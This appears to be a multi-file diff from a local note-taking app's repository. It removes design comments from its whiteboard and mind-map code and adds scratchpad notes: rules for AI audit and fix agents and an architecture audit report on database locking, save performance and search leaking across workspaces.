-// §9.3 names, and everything below is the frontend half of it.
-//
-// **This is not `wbArrangeMindMap` in whiteboard.js.** That is the concept
-// map: whiteboard *cards* (a card is a real note) joined by link sketches,
-// with a spanning tree inferred by BFS because a link carries no direction. A
-// map node is a `WhiteboardObject` with a real `parent_id`, so its tree is
-// stored rather than guessed, and a `topic` can exist with no note behind it.
-// MINDMAP_PLAN.md §9.2 records why the two data models stayed separate. They
-// share a canvas and nothing else, and neither function here calls that one.
-

-//: --- the node radial (MINDMAP_PLAN.md §12.1 item 3) ------------------------
-//:
-//: Coggle's idiom, and the reason §12.1 exists: the controls appear on the
-//: thing you picked. Opened by the same two gestures the board's own context
-//: menu uses (`wbOpenContextMenuFor` hands a map node here), so right-click
-//: and touch-and-hold both reach it without a second gesture to learn.
-//:
-//: Eight slots, in the markup's own order, clockwise from the top. The ring
-//: is not a menu in the ARIA sense and does not claim to be one: a menu is a
-//: list you walk with the arrows, this is a toolbar arranged in a circle, and
-//: `role="toolbar"` is what a screen reader can do something useful with.
-//: (It is also why this adds no hand-built `role="menu"`, which
-//: `tests/test_ui_recipes.py` counts.)
-
-//: The node the open ring belongs to. Read at click time by every slot, so a
-//: ring left open across a render acts on the node it was opened for rather
-//: than on whatever is selected now.
-let wbMapRadialFor = null;
-
-//: **Show the ring at a point, then slide it back inside the window.**
-//: Both rings are placed from a point with nothing between them and the edge
-//: of the screen: the node ring from the node's own centre, the link ring
-//: from the pointer. A map grows outward, so its newest topics are exactly
-//: the ones nearest an edge, and a ring around one of those lost two or
-//: three of its eight slots off-screen: the control was least reachable
-//: where it was most needed.
-//:
-//: **Why the whole ring moves, rather than the slots being rotated or
-//: reflected into the room that is left.** A ring of eight slots at 45
-//: degrees is its own reflection in both axes and its own rotation by any
-//: multiple of 45, so neither of those changes which directions are covered:
-//: whatever angle the ring is turned through, some slot still points at the
-//: nearest edge, and at 22.5 degrees (the most any rotation can buy) a slot
-//: aimed at the left edge still reaches 68 * cos 22.5 = 63px of the 82px it
-//: needs. Turning the ring also moves every slot away from the position the
-//: person learned it at, to buy 19px. Sliding the whole ring keeps all eight
-//: in their own places and in their own order, and a shift is bounded by the
-//: ring's own reach (82px), which is less than a topic is wide: the ring
-//: still reads as belonging to the node it came from.
-//:
-//: Measured after the ring is shown, not before, which is the ordering
-//: `placeEscapedMenu` in menus.js paid for: a rect read inside a
-//: `display: none` ancestor is all zeroes, and zeroes here would produce a
-//: confident shift from nothing. Measured off the slots rather than off the
-//: ring, for the same reason from the other direction: the ring's own box is
-//: deliberately `width: 0; height: 0` so that it cannot cover the node it
-//: surrounds, so its rect says nothing about where its slots are. The union
-//: of the slots is the honest answer, and it stays honest if the radius, the

-// MemoryMap AI: Whiteboard subsystem (extracted from app.js).
-//
-// This is the "Whiteboard" tab: boards, cards, sketches-as-objects, links,
-// mind-mapping, export: the OneNote/draw.io-style canvas built across
-// HISTORY.md §53-§58/§61 (ROADMAP.md Priority 0 item 2; style.css's half of
-// that item was split first, into frontend/css/*.css).
-//
-// Loaded as a second classic (non-module) <script> tag, after app.js, so it
-// shares app.js's global scope: everything here can call `$`, `api`,
-// `apiJson`, `toast`, `switchTab`, `confirmDialog`, `openSketch` (the
-// separate Quick Sketch modal, see below) and the rest of app.js's helpers
-// directly, and app.js's command palette calls `createNewBoard`/
-// `wbShowCanvasView` right back. None of that requires a particular load
-// order: every cross-file call here happens at runtime, inside a function
-// body or an event-listener callback, never at parse time. app.js loads
-// first only because this file's own top-level code (the `wbZoom = d3.zoom()`
-// assignment) needs `d3` from /vendor/d3.v7.min.js, which the existing
-// script order already guarantees, nothing here needs app.js to have run
-// first.
-//
-// NOT included here: the "Quick Sketch" pad (`openSketch`/`closeSketch`/
-// `saveSketch`/`sketchPen`/... and the `#sketch-*` DOM ids), which stayed in
-// app.js. It looks related by name, the task that produced this split
-// flagged it explicitly for a call, but it is a separate, still-live Wave F
-// ("Platform") feature: a full-screen freehand pad that saves a PNG as a
-// note, reachable from the command palette and the floating action menu,
-// unrelated by call graph to the board/card system below except that the
-// whiteboard toolbar's "Add sketch" button opens it (`openSketch()`, called
-// at runtime from `initWhiteboard`). Moving it here would have been a scope
-// mistake, not a cleanup, so it was left where it was.
-//
-// ALSO NOT included here any more: the Library's Documents/Image-Gallery
-// sub-tabs, their own selection state, and the `#library-subtabs` switcher: 
-// all genuinely Library-owned code (they switch and populate OTHER Library
-// sub-tabs, not this one) that had ended up in this file's own
-// DOMContentLoaded listener purely because it was written in the same block
-// as this tab's own two controls (`wb-boards-new`/`wb-back-to-boards`,
-// still below). Moved out to frontend/library.js in the app.js split's
-// second file (§88.3); see that file's own header for the full list and the
-// reasoning. `renderLibraryBoardsGallery`/`wbShowBoardsLanding`/
-// `wbShowCanvasView` stayed: they render and switch between *this* tab's
-// own two views (a boards gallery and the canvas), which is whiteboard's own
-// concern even though the gallery happens to live inside the Library's
-// Whiteboard sub-tab.
-
-// ======================= WHITEBOARD LOGIC =======================
-// **Held-space panning, middle-mouse panning, and wheel zoom from every
-// tool.** Reported directly: "the whiteboard is really annoying to use with
-// the tools, I'm constantly having to switch between tools to select and move
-// around."
-//
-// That was structural rather than a missing shortcut. Panning *was* a tool, 
-// you pressed V to pan and S to select, and `selectWbTool` disabled the zoom
-// behaviour outright for every other tool (`container.on(".zoom", null)`),
-// which also took **wheel zoom** with it. So while drawing you could neither
-// scroll the canvas nor zoom it without first changing tool and then changing
-// back.
-//
-// Every drawing app people already know (Figma, Excalidraw, tldraw) solves
-// this the same way, and it is a filter rather than a mode: the zoom
-// behaviour stays attached at all times, and decides per-event whether a
-// gesture is a pan. Held space or the middle mouse button pans from *any*
-// tool; a plain left-drag only pans when Pan is genuinely the active tool, so
-// drawing, the marquee and lasso are untouched.

-//: numbers, two different pipelines, and on a board with any real number of
-//: shapes the SVG one cannot keep up with a pan, so the shapes visibly trail
-//: the notes they are attached to.
-//:
-//: Switching the groups to a CSS transform is only safe because every drag
-//: handler in this file resolves pointer coordinates through
-//: `getScreenCTM()`, and the question of whether that folds in a CSS
-//: transform on an SVG element is the whole risk. Measured in Chromium rather
-//: than assumed: two identical `<g>`s, one carrying `transform="translate(37,
-//: 61) scale(2.5)"` and one carrying the same as CSS, returned the same
-//: matrix, [2.5, 2.5, 37, 844.14], and mapped the same screen point to the
-//: same board point, [185.2, -177.66]. Nothing reads the attribute back
-//: either, so there is no second consumer to keep in sync.
-//:
-//: `transform-origin: 0 0` is not optional: CSS defaults an SVG element's
-//: origin to the centre of its bounding box, while the `transform` attribute
-//: has always scaled about the user-space origin. Without it every zoom would
-//: pivot somewhere that moves as the board's contents change. It is set in
-//: CSS beside the layers rather than here, so it cannot be lost by an edit to
-//: this function.
-// PLAN.md P2: a trackpad emits several wheel events per frame, and each one
-// used to write three transforms, three grid variables and the navigator
-// synchronously. Only the last transform in a frame can be painted, so the
-// rest was work the compositor threw away. One pending write per frame.
-//
-//: **The split: the layers move now, the rest waits for the frame.**
-//: Reported as "when I pan the whiteboard and mindmap around, it is still
-//: laggy and the shapes and links and everything feels like it lags behind a
-//: bit", and the first attempt at it A/B'd six conditions and found identical
-//: frame times (this sandbox is vsync-bound), which is the wrong end of the
-//: problem: nothing about the *shape* of the work above depended on how long
-//: the work took.
-//:
-//: What the coalescing above is right about is the *cost* half: grid
-//: variables, the selection bar and the navigator are per-frame work and
-//: three wheel events in one frame should not do them three times. What it
-//: was also doing is deferring the transform itself, which is the one write
-//: with nothing to save: the compositor can only paint the last value of a
-//: frame either way, so writing it on every event costs three style
-//: invalidations and no layout, and writing it late can only ever be later.
-//:
-//: Honest about what that does and does not prove. What is measured
-//: (`scratchpad/ui-sweeps/panlag.js`) is that the layer transform is now the
-//: new matrix in the same task as the input event, while the grid variables
-//: are still written once per frame. What is *not* measured, and cannot be
-//: on this box, is a frame of latency: Chromium dispatches coalesced input at
-//: the start of a frame and runs `requestAnimationFrame` later in that same
-//: frame, so for input that arrives on that path the old code was already
-//: painting in the right frame. This removes a deferral that had nothing to
-//: gain, for input on any other path; it is not a claim that the report is

-//: and connections lagg behind in position and arent synched").
-//:
-//: Two earlier passes moved these three transforms into one place and gave
-//: them one `will-change`, and the report came back both times, because
-//: `will-change: transform` on an SVG `<g>` promotes nothing: Chromium cannot
-//: composite an element inside an SVG fragment, it paints the whole fragment
-//: into whatever layer the `<svg>` root lives in. Measured through the CDP
-//: layer tree on a live board (`scratchpad/ui-sweeps/panlayers.js`): a note
-//: card was its own composited layer while `svg#wb-svg-layer`, which holds
-//: every shape, line and stroke, was not in the layer list at all. So a pan
-//: moved the cards on the compositor and re-rastered the shapes on the main
-//: thread, and a frame can be presented with the card already moved and the
-//: shape's new tiles not yet ready. That is the report, exactly: the notes are
-//: fine and everything drawn lags.
-//:
-//: The transform therefore has to sit on an element that *can* be composited,

-//: translated inside its viewport is clipped at the viewport, a translated
-//: root takes its viewport with it, so the roots are `overflow: visible` and
-//: the container's own `overflow: hidden` does the clipping instead. Probed

-//: 2200px outside the viewport, panned in, paints (pixel 255,0,255 at its
-//: centre) and hit-tests (`elementFromPoint` returns it).
-//:
-//: The consequence for every other reader: `#wb-svg-layer`'s bounding rect is
-//: no longer the canvas origin, it moves with the pan. `wbCanvasOriginRect`
-//: below is that origin, and it is the container's own box, which is the same

-//: faults in this one function, and both are visible on any two cards that
-//: are not side by side:
-//:
-//: 1. **The curve was hardcoded horizontal.** The control points offset the
-//:    endpoints in `x` only (`sPt.x + dx/2, sPt.y`), so every curved link
-//:    left its source heading sideways and entered its target heading
-//:    sideways: whichever edge each end was actually anchored to. Two cards
-//:    stacked vertically got an S-bend that bulged out to the side and
-//:    re-entered, instead of a short curve leaving the bottom edge and
-//:    arriving at the top one.
-//: 2. **The arrowhead angle was the chord**, `atan2` between the two
-//:    endpoints: not the tangent of the curve it is drawn on. On any link
-//:    with real curvature the head pointed visibly off the line it ended.
-//:
-//: Both now derive from each end's outward edge normal (`wbEdgeNormal`,
-//: attached to the endpoint by `wbWithDir`). The control point is pushed
-//: along that normal, so the curve leaves perpendicular to its edge; and
-//: because a cubic Bezier's tangent at an endpoint is the direction to its
-//: adjacent control point, the cap angle is read from that same control
-//: point and therefore always agrees with the drawn curve.
-//:
-//: The offset is proportional to the distance between the ends and clamped:
-//: unclamped, two distant cards produced a control point far outside the
-//: board and a curve that swung wide of both; a fixed offset made a short
-//: link between adjacent cards loop absurdly. An endpoint with no direction
-//:, a free dangling point, or the live drag preview, keeps the original
-//: horizontal behaviour, which is correct for a point with no edge.
-//: `bend`, asked for directly: "I want to be able to double click on lines,
-//: add points for curving lines and connections." An offset from the chord's
-//: midpoint, in board units; when set, the link is a single quadratic curve

-// --- Sketch move/resize (ROADMAP.md Tier 2 §11 / user-reported: "can't
-// move objects drawn on the whiteboard", "can't resize... can't shorten
-// lines") -------------------------------------------------------------------
-//
-// Cards and objects have real x/y/width/height columns; a sketch is just an
-// SVG path string (`d`), so "move" and "resize" both mean rewriting the
-// coordinates inside that string rather than moving a positioned element.
-// This is *not* a general SVG path parser, it only has to round-trip
-// exactly the commands this app's own drawing tools ever emit (see the
-// `pointermove` handler above: `M`/`L` for pen and lines, `C` for link
-// curves, `h`/`v`/`Z` for rect, `a` for circle): a path from anywhere else
-// was never a possibility, so there is no reason to handle SVG's full
-// command set.
-//: `rotate` (degrees, about `anchorX`/`anchorY`) is what a sketch didn't
-//: have: cards and objects rotate (a drag handle + a stored `rotation`
-//: column), but a sketch *is* its path data, and rotating a path correctly
-//: needs care `dx`/`sx` alone don't: `h`/`v` (a purely horizontal/vertical
-//: relative line: this app's own rect tool emits them) can't represent a
-//: rotated line at all, since rotating "purely horizontal" by anything
-//: other than a multiple of 90° makes it not horizontal any more, so each
-//: becomes an absolute `L` instead once rotation is non-zero. `a` (the
-//: circle tool's arc pairs) stays relative, a rotation adds straight onto
-//: the arc's own `x-axis-rotation` parameter and rotates its endpoint
-//: delta; `rx`/`ry`/large-arc/sweep are unchanged, which is exact for a
-//: *pure* rotation (no reflection): this app never emits a negative
-//: scale, so that combination doesn't need handling here.

-/** A new concept map: a board that opens with a core idea on it, selected
- *  and ready to branch from.
- *
- *  Asked for directly: "I want ways to make custom knowledge graphs that are
- *  like mindmaps where I can add and remove nodes, move them around, change
- *  how they connect and reasons, and just make my own thought process map",
- *  and on where it belongs, "I should be able to make and manage map graphs
- *  (maybe in library??)".
- *
- *  **Deliberately not a new canvas.** Everything a concept map needs already
- *  exists on the whiteboard, freely placed cards whose positions persist, a
- *  link tool, `Tab` for a new branch off the selected card and `Enter` for a
- *  sibling, "Arrange as mind map" to re-tidy, pan/zoom, undo, spaces,
- *  export. A parallel implementation would have been a second set of all of
- *  that, immediately behind on every fix either one got.
- *
- *  So what this adds is the three things that were actually missing, and
- *  they are all about *entry*:
- *
- *  1. **A name.** Nothing in the app said the words "concept map", so the
- *     feature was reachable only through a button called "New board" on a
- *     tab called Whiteboards. A feature nobody can name is a feature nobody
- *     finds: reported as missing while fully built.
- *  2. **A root.** An empty board is a blank rectangle; `Tab` and `Enter` do
- *     nothing until something is selected, so the one gesture that makes
- *     this a mind map was unreachable from the state the board opens in.
- *  3. **The gestures, said out loud, once**, at the moment they apply.
- *
- *  The map is a board, so a concept map exported to the whiteboard is a
- *  concept map: which closes the "maybe with a way to export that into a
- *  visual diagram on the whiteboard" half of the ask by construction rather
- *  than by building an exporter.

+# scratchpad
+
+Working tools for the sessions that build this app: UI sweeps that drive the
+running app with Playwright, benchmarks and probes, fake model servers, and
+small helpers for the docs. Nothing here ships and nothing in `src/` or
+`frontend/` imports from it. Git history keeps every deleted file.
+
+## The KEEP rule
+
+A file stays when something still uses it. `python scratchpad/cleanup_inventory.py`
+lists every tracked file here as KEEP or DELETE (`--list` for each file and
+the reason, `--delete-list` for the paths). KEEP means any of:
+
+- a file under `tests/`, `scripts/` or `.github/` names it (by basename or path);
+- `CLAUDE.md`, `README.md`, `docs/ARCHITECTURE.md`, `docs/DESIGN.md`,
+  `HANDOVER.md`, `INBOX.md`, `SESSION_BRIEFS.md`, a `*_PLAN.md`,
+  `AGENT_SKILLS_REFORM.md`, `BACKLOG.md` or an open
+  `docs/roadmap/agent-remaining/*.md` names it;
+- another KEEP file here requires, imports or names it (followed transitively);
+- it is on the always-keep list in the inventory script (the boot library
+  `ui-sweeps/lib.js`, the gate sweeps `errors.js`, `contrast.js`, `docks.js`,
+  `touch.js`, `chrome.js`, `serve.sh`, the launcher and fake-server helpers);
+- it changed in git on any branch in the last three days, because another
+  session is probably using it.
+
+CHANGELOG, HISTORY and `docs/roadmap/archive/` mention old sweep names as a
+record, not a link; a mention there does not keep a file.
+
+## Retiring a one-off sweep
+
+A sweep that measured one bug is done once its finding is in CHANGELOG (and
+the INBOX item is resolved). Delete it in the same commit or the next
+cleanup, and leave the CHANGELOG line as it is: it names the sweep as history.
+Do not leave PNG, JSON, log or txt outputs behind; an output that matters is
+a number in the CHANGELOG line, not a file. A sweep that a test or a plan
+still runs stays; the inventory says so.
+
+`tests/test_scratchpad_size.py` caps the tracked file count here so the pile
+cannot grow back unnoticed. When it fails, run the inventory and delete what
+it marks DELETE before raising the cap.

+missed. Five Opus agents each audit one area and write one report here.

+  `scratchpad/audit1005/<area>.md`. Run no git commands that change state.
+- **Existing work first.** Read CLAUDE.md, docs/ROADMAP.md (opening table),
+  and the plan files for your area. A finding that a plan already lists is
+  marked `KNOWN (plan, section)`, and you say whether the plan's "built" claim
+  holds in the code and app as they are now. Your value is the NEW and the
+  WRONGLY-CLOSED.
+- **Measure, do not guess.**
+  - Evidence is a file:line, a command and its output, or a browser
+    measurement (getComputedStyle, getBoundingClientRect, timings).
+  - Run the app: `bash scratchpad/ui-sweeps/serve.sh <your port> /tmp/mm-audit-<area>`,
+    password `testpassword123`, Playwright via `scratchpad/ui-sweeps/lib.js`
+    (see CLAUDE.md section 5 traps).
+  - Never pkill -f; stop a server with `bash scratchpad/killport.sh <port>`.
+- **Never run the full test suite.** Targeted tests only, with a private
+  `--basetemp`.
+- **Each finding:**
+  - id (e.g. SEC-07);
+  - title;
+  - evidence;
+  - impact;
+  - severity (Critical / High / Medium / Low);
+  - KNOWN or NEW;
+  - fix (concrete: files, approach, effort S/M/L).
+- **Report shape:**
+  1. Summary: the five worst things, one line each.
+  2. Findings, by severity.
+  3. "Claimed built but not": a plan says built and it is not.
+  4. Top 5 execution briefs, each pasteable to an agent: goal, files, steps, acceptance tests, risks.
+  5. What you could not verify.
+- **Concise:** bullets, no preamble. No em-dashes (a lint fails the build on

+# Fix agents, 2026-10-05: the common rules
+
+1. **Start:** `git merge --ff-only claude/notes-flow-rebuild`, falling back to
+   `git merge claude/notes-flow-rebuild`. Read CLAUDE.md sections 2 (orders 4,
+   5, 5a, 6, 9, 10, 11, 12, 13) and 7.
+2. **Fully local** (the owner, 2026-10-05: "make sure it is fully local dn
+   doesnt use any external libraried that arent vendored"):
+   - No CDN, no remote font, no network fetch at runtime except the user's
+     own configured model server or a URL the user asked for.
+   - A new frontend library is vendored under `frontend/vendor/` with its
+     licence file; it must be AGPL-compatible.
+   - No new Python dependency unless it is already in requirements.txt.
+   - Never torch or sentence-transformers, and never press an "Install" on an extra in a sweep: one did, at 03:51 on 2026-10-05, and put torch into the shared .venv.
+3. **Tests first** from the audit's reproduction: the failing test, then the
+   fix, then the test passing.
+   - Targeted tests only, run SERIALLY (`-p no:cacheprovider`, a private
+     `--basetemp` under your own scratch dir; the box has 4 cores and 8
+     agents).
+   - Run `bash scripts/gate.sh --staged`, which must print "failed:  none",
+     before each commit.
+   - Never run the full suite.
+4. **Commit** per finding and at least every 20 minutes, with the trailers:
+   `Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>` and
+   `Claude-Session: https://claude.ai/code/session_01UvMLdXt2CL6M5pkTvwyV17`.
+   Do not push.
+5. **Docs per fix:**
+   - a line in both CHANGELOGs (CHANGELOG.md and docs/CHANGELOG.md
+     identical);
+   - help text for any control you change (order 13);
+   - a "built" claim the audit found false is corrected in its plan (or
+     HISTORY).
+   - Mark the finding id fixed in the audit report, appending
+     "FIXED <commit>" to its line.
+6. **UI** comes from DESIGN.md's recipe index (order 11).
+   - Copy: sentence case, no em-dashes, no exclamation marks.
+   - Verify in a browser with a sweep in scratchpad/ui-sweeps/ (your own
+     prefix), at 1440 and 390, light and dark.
+   - Server: `bash scratchpad/ui-sweeps/serve.sh <your port> /tmp/mm-<you>`.
+     Stop it with `bash scratchpad/killport.sh <port>`, never pkill -f.
+7. **Boot JS gzip:** stay under the cap in tests/test_static_compression.py.
+   Never raise a cap. Another agent is moving code into lazy modules: if
+   you touch boot files, keep your diffs local and small.
+8. **Migrations** keep one alembic head. Rebase your revision's
+   `down_revision` onto the branch head when you merge it in.
+9. **Shared scratchpad files** take your prefix.
+10. **Final report, five lines:** status, commits, numbers, not verified,
+    found-not-fixed.

+# Audit 2026-10-05: architecture, backend and local AI
+
+Area `arch`. Head `64ddf14`. Server on :8831, data `/tmp/mm-audit-arch`.
+Every number was measured in this session unless the line says "read".
+The sandbox ran at load 10 to 19 on 4 cores (other audit agents), so
+absolute milliseconds are inflated, perhaps 2x to 4x; ratios, statement
+counts, plans and failures are not.
+
+**The 5,000-note notebook.** 779 notes through `POST /entries` (4 clients,
+real filing, real bge-small vectors), grown to 5,000 in-process through
+`manager.create_entry` + `sync_wiki_links` with vectors reused from the real
+ones plus noise (re-embedding was a 30-minute job). Text is synthetic: 20 to
+420 words from a 77-word vocabulary, 2 tags each, 40% with `[[links]]`, 57 MB
+file. Two endpoints (`/entries/link-suggestions`, `/duplicates`) react badly
+to that small vocabulary; their lines say so. Scripts, all outside the repo:
+`/tmp/mm-audit-arch/work/` (`seed5k.js`, `grow.py`, `harness.py`, `bench.py`,
+`locktest.py`, `spacetest.py`, `explain*.py`, `bootnet.js`, `cycles.py`,
+`deadcode.py`, `routes.py`; py-spy profiles `prof_*.txt`).
+
+## 1. Summary: the five worst things
+
+1. **A night pass holds SQLite's write lock across every model call: every
+   save during it fails with a 500 after 5.1 s** (measured, ARCH-01).
+2. **Saving a note is O(notebook)**: 1.7 s p50 for a 400-word note and 0.93 s
+   for a one-line note at 5,000 notes; edits 0.74 s (ARCH-02).
+3. **`GET /search` ignores the active space**: a "work" note comes back to a
+   "personal" request (measured, ARCH-03). The finder and palette call it.
+4. **Every unlock downloads the whole notebook**: 26 sequential
+   `/entries?limit=200` pages, 2.3 MB, 4.4 s of request time at 5,000 notes,
+   each page a full sort because "All spaces" cannot use the list indexes
+   (ARCH-04, ARCH-05).
+5. **Switching the chat backend silently turns semantic search off** until
+   the next save, which then takes 5.1 s (measured, ARCH-06).
+
+## 2. The system in one page
+
+```
+Browser: frontend/js, 68 files, 164k lines, one global scope.
+  Boot: unlock, then pages ALL notes into memory (allEntries), 55 API calls.
+   | fetch, NDJSON (/chat/stream), SSE (/jobs/stream, /logs/stream)
+FastAPI (api/app.py create_app): 7 middlewares (gzip, CSP, origin, host,
+  vault scope, space guard, request pulse), 403 routes in 45 files,
+  401 sync handlers on the anyio threadpool (40 threads), 2 async (SSE).
+  api/ is 32.7k lines and holds much of the domain logic itself.
+   |                       |                          |
+entry/ (5k lines)       ai/ (29k + tools 6.5k)      search/ (7.7k)
+ manager.py: writes,     janitor: filing             index.py: FTS5 search_index,
+ links, revisions;       librarian/agent: chat         fed by an ORM after_flush hook
+ core/events.py writes   facts: night pass           engine.py: FTS candidates,
+ one audit_log row       embeddings: bge-small via     cosine re-rank, graph hops
+ per public write        sentence-transformers,      search_manager.py: older path
+                         in process                    (/entries?q=, chat retrieval)
+                         provider -> ollama_client |
+                         openai_client (requests, 600 s)
+   |                       |                          |
+core/database.py: one engine, QueuePool 5+10, WAL, synchronous=NORMAL,
+  busy_timeout 5000. At every start: create_all, _add_missing_columns,
+  _INDEXES, entries_fts triggers, Alembic stamp/upgrade (14 revisions).
+  Spaces: a do_orm_execute hook adds workspace_id to ORM statements only.
+core/jobs.py: pool with lanes cpu (n) and model (1); durable rows (jobstore).
+ai/autonomous.py: one scheduler (night pass, entities, link audit, agent).
+Disk: memorymap.db + uploads/ (attachments) + media/ + backups/ (db only).
+```
+
+The two paths that matter:
+
+- **Save** (`POST /entries`, no defer): `janitor.categorise` embeds, averages
+  every category's vectors, kNN, lexical vote, a model call only if the cheap
+  path is unsure; `manager.create_entry` (commit 1, event row, FTS triggers,
+  search_index hook); tag suggestions from up to 4,000 notes (commit 2);
+  note and paragraph vectors (commit 3); wiki links (commit 4); a semantic
+  search for a duplicate warning. `defer_filing` (composer, quick note) moves
+  filing, embedding and the duplicate check to a `file-entry` job on the
+  one-wide `model` lane.
+- **Ask** (`POST /chat/stream`): `_prepare` retrieves through search_manager,
+  budgets the window at 4 chars per token, streams from the provider; with
+  tools `agent.run_agent` loops rounds. 194 ms to the first `meta` line at
+  5,000 notes with no model.
+
+## 3. Findings, by severity
+
+### Critical
+
+**ARCH-01. The night pass blocks every write for its whole run (NEW)** FIXED 5a25517
+- Evidence: `ai/facts.py:373-375` adds and flushes the `NightRun` row (an
+  INSERT, so the connection holds SQLite's write lock), then per note calls
+  `_narrow(provider, ...)` (a model call, `:404`) and later `_pair_passes`
+  (more model calls); the caller commits once at the end
+  (`routes_night.py:67-72`, `autonomous.py:405-416`).
+- Measured (`locktest.py`, fake OpenAI server, 2.5 s per round): during
+  `POST /night/run` three `POST /entries` each returned
+  `500 {"code":"internal"}` after **5.1 s** (the busy_timeout); reads stayed
+  200 in 30 ms; the pass took 23.4 s and derived 16 facts.
+- Same shape, read: `ai/entities.py:225-246` (`extract_entities_pass`, one
+  commit after up to `limit` model calls; `get_or_create` autoflushes in the
+  loop). Durable-job bookkeeping (`jobstore.record/lease/finish`) also needs
+  the lock, so queued filings stall too, and log only at DEBUG.
+- Impact: with a real 4B model each call is seconds to tens of seconds. "Run
+  now" in Settings, or a scheduled pass (budget 20,000 tokens), makes every
+  save, edit, pin and filing fail for minutes with "Something went wrong".
+- Fix (M): commit the `NightRun` row first; per note, read, call the model
+  with no open write, then a short write transaction for that note's rows.
+  Same in `extract_entities_pass`. Map `database is locked` to 503 "The
+  notebook is busy for a moment, try again" instead of 500.
+
+### High
+
+**ARCH-02. Every save does work proportional to the notebook (NEW)** FIXED f7aa175 (4,300 to 390-615 ms at 5,000 notes under load 10-13; PUT still embeds on the request) / PUT FIXED 98c3a74 (the edit's vector from an embed-entry job); the numpy and lexical growth open: create p50 210 to 345 ms at 5,000 notes under load, not under 150
+- Measured at 5,000 notes, in-process (section 6): `POST /entries` 400 words
+  **1,706 / 2,092 ms** (p50/p95), one line **930 / 1,474 ms**, `defer_filing`
+  87 ms, `PUT /entries/{id}` **744 / 1,117 ms**. Seeding with 4 clients fell
+  from 11 notes/s at 40 notes to 2.2/s at 600 and **1.0/s at 750**.
+- Where (cProfile of `create_entry` at 610 notes, 1,415 ms):
+  `_keep_suggestions` -> `lexical_filing.suggest_tags` **490 ms**: reads up
+  to `MAX_EXAMPLES = 4000` notes' full text and rebuilds TF-IDF from scratch
+  (`lexical_filing.py:176-196`); `janitor._best_centroid_match` **539 ms**:
+  loads every stored vector of every note and re-averages every category
+  (`janitor.py:278-318`), ignoring the engine's cached matrix; two uncached
+  bge encodes of the same note (4 `embed_text` calls, 2 misses, 850 ms).
+  `update_entry` embeds on the request too (`routes_entries.py:2214`).
+- Impact: the core action gets linearly slower with use; deferring only moves
+  the cost onto the single `model` lane (ARCH-09).
+- Fix (M): incremental tag-term counts kept on write, or tag votes from the
+  engine's cached vector neighbours; centroids cached per matrix version (the
+  `cached_similar_pairs` pattern); embed once per save and pass the vector.
+  Gate: create p50 at 5,000 within 20% of create p50 at 500.
+
+**ARCH-03. `GET /search` returns notes from other spaces (NEW)** FIXED f7aa175
+- Evidence: `routes_search.py:52-57` sets `space` only from the query string;
+  `engine.search` filters its raw-SQL FTS candidates by `space` only when
+  given (`engine.py:1044`, `:710`); the ORM space hook never sees raw SQL.
+- Measured (`spacetest.py`): note created with `X-Workspace-ID: work`;
+  `/search?q=zebracorn` with `X-Workspace-ID: personal` returned it, while
+  `/entries/query`, `/graph`, `/timeline` and chat retrieval returned nothing.
+  Callers without `space`: `spaces-find.js:1030` (finder, palette),
+  `notes-list.js:2423`.
+- Impact: titles and snippets cross spaces, including spaces marked
+  `hidden_from_all`.
+- Fix (S): default `space` from `session.info["workspace_id"]`; for "all",
+  exclude `hidden_workspaces`; a two-space test.
+
+**ARCH-04. Every unlock downloads the whole notebook (KNOWN H7 / F12, the
+number is NEW)** PARTLY FIXED 73fcd97 (server cursor; client switch is FE-05)
+- Measured (`bootnet.js`, Chromium, 5,000 notes): 55 API calls after unlock;
+  **26 sequential `/entries?limit=200&offset=...` pages, 2,307 KB, 4,449 ms of
+  request time**; `/entries/reference-counts` 1,060 ms; total 11.3 s of
+  request time, 2.5 MB. `notes-list.js:3497-3530` loops until `X-Total-Count`
+  into `allEntries`, by design ("it still ends up exactly as complete as it
+  always was"). H7 says "The three request pages of /entries at boot are the
+  paging contract": that was 500 notes.
+- Impact: unlock cost and browser memory grow with the notebook for ever;
+  offset paging over a list that changes during the load can skip or repeat a
+  note.
+- Fix (L): the list renders a window and asks the server (search, filters and
+  counts are server-side already); keyset cursor (`created_at,id`) instead of
+  offset.
+
+**ARCH-05. "All spaces", the default, cannot use the list indexes (NEW)** FIXED 173ff35
+- Evidence: `activeSpaceId()` defaults to `"all"` (`spaces-find.js:298`);
+  with "all" the hook adds no `workspace_id = ?`, and every composite index in
+  `database._INDEXES` leads with `workspace_id`. EXPLAIN on the real
+  statements (`explain2.py`, `explain3.py`):
+  - `/entries?limit=50`, "all": `SCAN entries USING INDEX
+    ix_entries_live_nodraft` + **`USE TEMP B-TREE FOR ORDER BY`**; one space:
+    `SEARCH entries USING INDEX ix_entries_live` (no sort).
+  - `/documents`, `/reminders`, `/conversations`, `/media`, "all": `SCAN` +
+    `TEMP B-TREE`; one space: index search.
+  - Also full scans in any mode: `/library` `_activity` (`SCAN audit_log` +
+    sort, loads the whole-note `payload` of 200 rows to print a verb),
+    `learning.corrections` (`SCAN audit_log WHERE action = ?`, run by filing
+    prompts, `/suggestions`, link suggestions), `count(*)` with
+    `is_board = 0` (`SCAN entries`), `/tags` (`SCAN entries`, JSON parse per
+    row).
+- Impact: 31 ms per page at 5,000 notes, but the sort carries every column
+  including `content`, 26 times per unlock (ARCH-04), and `audit_log` grows
+  by a whole note per edit (9.7 MB of payload for 7.9 MB of notes after one
+  create each).
+- Fix (S): add the same indexes without the `workspace_id` prefix (or make
+  "all" filter `workspace_id IN (visible)`), `ix_audit_log_action` and
+  `ix_audit_log_created`, and select only needed columns in `_activity`.
+  The perf pass of 2026-10-03 measured with a space selected, which is why it
+  missed this.
+
+**ARCH-06. Switching the chat backend turns semantic search off (NEW)** FIXED f83ec98
+- Evidence: `deps.reload_llm_client` (`deps.py:260-273`), called by
+  `POST /models/provider`, builds a new `EmbeddingService` with no warm-up,
+  although the built-in sentence-transformers model never uses the chat
+  client. Measured: after switching to an OpenAI-compatible server and back,
+  `/models/status` said `embedding_ready: false` and `/search/stats`
+  `vectors: 0, vectors_warm: false` **15 minutes later**; the next save took
+  **5.1 s** (the cold load) and then `vectors: 5000`.
+- Impact: search, chat retrieval, link suggestions and graph similarity drop
+  to keyword-only with no notice, and the next save stalls.
+- Fix (S): rebuild the embedding service only when the embedding backend is
+  the chat backend (Ollama embeddings); otherwise keep it, or re-warm it.
+
+**ARCH-07. The unified search only re-ranks keyword hits (NEW detail of
+KNOWN `search-one-surface`)** FIXED 535ae2e
+- Evidence: `engine.py:1058-1066`: candidates come only from the FTS pass;
+  `if not rows: return []`. Measured: `/search?q=horticulture` 0 hits,
